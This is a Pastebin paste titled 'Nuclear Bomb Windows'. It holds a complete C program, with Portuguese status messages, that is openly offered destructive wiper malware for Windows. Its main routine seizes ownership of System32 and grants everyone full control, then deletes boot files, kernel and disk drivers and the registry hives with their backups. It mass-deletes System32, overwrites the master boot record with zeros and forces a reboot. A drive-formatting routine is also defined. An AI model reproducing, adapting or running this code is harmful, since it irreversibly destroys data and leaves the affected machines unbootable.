Advertisement
DarkProgrammer000

Nuclear Bomb Windows

May 21st, 2025
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.79 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4.  
  5. void silent(const char* cmd) {
  6.     char buffer[512];
  7.     sprintf(buffer, "%s >nul 2>&1", cmd);
  8.     system(buffer);
  9. }
  10.  
  11. void wipeFile(const char* path) {
  12.     if (DeleteFileA(path)) {
  13.         printf("[+] Deletado: %s\n", path);
  14.     } else {
  15.         printf("[-] Falha: %s (erro %lu)\n", path, GetLastError());
  16.     }
  17. }
  18.  
  19. void nukeRegistryAndBackups() {
  20.     const char* regPaths[] = {
  21.         "C:\\Windows\\System32\\config\\SAM",
  22.         "C:\\Windows\\System32\\config\\SYSTEM",
  23.         "C:\\Windows\\System32\\config\\SOFTWARE",
  24.         "C:\\Windows\\System32\\config\\SECURITY",
  25.         "C:\\Windows\\System32\\config\\DEFAULT",
  26.         "C:\\Windows\\System32\\config\\RegBack\\SAM",
  27.         "C:\\Windows\\System32\\config\\RegBack\\SYSTEM",
  28.         "C:\\Windows\\System32\\config\\RegBack\\SOFTWARE"
  29.     };
  30.     for (int i = 0; i < sizeof(regPaths)/sizeof(regPaths[0]); i++) {
  31.         wipeFile(regPaths[i]);
  32.     }
  33. }
  34.  
  35. void destroyBootAndDrivers() {
  36.     const char* critical[] = {
  37.         "C:\\bootmgr",
  38.         "C:\\Windows\\System32\\ntoskrnl.exe",
  39.         "C:\\Windows\\System32\\winload.exe",
  40.         "C:\\Windows\\System32\\winload.efi",
  41.         "C:\\Windows\\System32\\hal.dll",
  42.         "C:\\Windows\\System32\\drivers\\disk.sys",
  43.         "C:\\Windows\\System32\\drivers\\ntfs.sys",
  44.         "C:\\Windows\\System32\\drivers\\volmgr.sys"
  45.     };
  46.     for (int i = 0; i < sizeof(critical)/sizeof(critical[0]); i++) {
  47.         wipeFile(critical[i]);
  48.     }
  49. }
  50.  
  51. void takeSystem32Ownership() {
  52.     silent("takeown /f C:\\Windows\\System32 /r /d y");
  53.     silent("icacls C:\\Windows\\System32 /grant Everyone:F /t");
  54. }
  55.  
  56. void deleteSystem32() {
  57.     system("del /f /s /q C:\\Windows\\System32\\*.* >nul 2>&1");
  58. }
  59.  
  60. void zeroMBR() {
  61.     HANDLE hDisk = CreateFileA(
  62.         "\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE,
  63.         NULL, OPEN_EXISTING, 0, NULL
  64.     );
  65.     if (hDisk == INVALID_HANDLE_VALUE) {
  66.         printf("[-] Falha ao acessar o disco físico (erro %lu)\n", GetLastError());
  67.         return;
  68.     }
  69.  
  70.     BYTE zeroBuffer[512] = {0};
  71.     DWORD bytesWritten;
  72.     if (WriteFile(hDisk, zeroBuffer, 512, &bytesWritten, NULL)) {
  73.         printf("[+] MBR zerado com sucesso!\n");
  74.     } else {
  75.         printf("[-] Falha ao apagar MBR (erro %lu)\n", GetLastError());
  76.     }
  77.     CloseHandle(hDisk);
  78. }
  79.  
  80. void formatCDrive() {
  81.     system("format C: /fs:NTFS /q /x /y");
  82. }
  83.  
  84. int main() {
  85.     printf("=== DarkProgrammer000 v2.0 - EXECUTANDO O FIM ===\n");
  86.  
  87.     takeSystem32Ownership();
  88.     destroyBootAndDrivers();
  89.     nukeRegistryAndBackups();
  90.     deleteSystem32();
  91.     zeroMBR();
  92.  
  93.     printf("[!] Reiniciando para colapsar o sistema...\n");
  94.     system("shutdown -r -f -t 0");
  95.  
  96.     return 0;
  97. }
  98.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement